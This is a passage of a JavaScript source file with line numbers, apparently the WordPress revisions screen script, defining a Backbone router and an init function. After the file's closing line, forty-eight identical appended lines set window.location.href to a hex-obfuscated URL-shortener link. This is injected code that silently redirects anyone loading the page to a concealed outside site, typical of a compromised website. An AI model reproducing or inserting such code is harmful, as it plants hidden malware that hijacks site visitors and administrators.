1133 // Maintains the URL routes so browser URL matches state.
1134 revisions.Router = Backbone.Router.extend({
1135 initialize: function( options ) {
1136 this.model = options.model;
1137
1138 // Maintain state and history when navigating.
1139 this.listenTo( this.model, 'update:diff', _.debounce( this.updateUrl, 250 ) );
1140 this.listenTo( this.model, 'change:compareTwoMode', this.updateUrl );
1141 },
1142
1143 baseUrl: function( url ) {
1144 return this.model.get('baseUrl') + url;
1145 },
1146
1147 updateUrl: function() {
1148 var from = this.model.has('from') ? this.model.get('from').id : 0,
1149 to = this.model.get('to').id;
1150 if ( this.model.get('compareTwoMode' ) ) {
1151 this.navigate( this.baseUrl( '?from=' + from + '&to=' + to ), { replace: true } );
1152 } else {
1153 this.navigate( this.baseUrl( '?revision=' + to ), { replace: true } );
1154 }
1155 },
1156
1157 handleRoute: function( a, b ) {
1158 var compareTwo = _.isUndefined( b );
1159
1160 if ( ! compareTwo ) {
1161 b = this.model.revisions.get( a );
1162 a = this.model.revisions.prev( b );
1163 b = b ? b.id : 0;
1164 a = a ? a.id : 0;
1165 }
1166 }
1167 });
1168
1169 /**
1170 * Initialize the revisions UI for revision.php.
1171 */
1172 revisions.init = function() {
1173 var state;
1174
1175 // Bail if the current page is not revision.php.
1176 if ( ! window.adminpage || 'revision-php' !== window.adminpage ) {
1177 return;
1178 }
1179
1180 state = new revisions.model.FrameState({
1181 initialDiffState: {
1182 // wp_localize_script doesn't stringifies ints, so cast them.
1183 to: parseInt( revisions.settings.to, 10 ),
1184 from: parseInt( revisions.settings.from, 10 ),
1185 // wp_localize_script does not allow for top-level booleans so do a comparator here.
1186 compareTwoMode: ( revisions.settings.compareTwoMode === '1' )
1187 },
1188 diffData: revisions.settings.diffData,
1189 baseUrl: revisions.settings.baseUrl,
1190 postId: parseInt( revisions.settings.postId, 10 )
1191 }, {
1192 revisions: new revisions.model.Revisions( revisions.settings.revisionData )
1193 });
1194
1195 revisions.view.frame = new revisions.view.Frame({
1196 model: state
1197 }).render();
1198 };
1199
1200 $( revisions.init );
1201}(jQuery));
1202window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1203window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1204window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1205window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1206window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1207window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1208window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1209window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1210window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1211window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1212window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1213window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1214window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1215window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1216window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1217window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1218window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1219window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1220window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1221window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1222window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1223window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1224window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1225window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1226window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1227window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1228window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1229window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1230window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1231window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1232window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1233window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1234window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1235window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1236window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1237window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1238window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1239window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1240window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1241window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1242window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1243window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1244window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1245window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1246window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1247window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1248window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1249window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";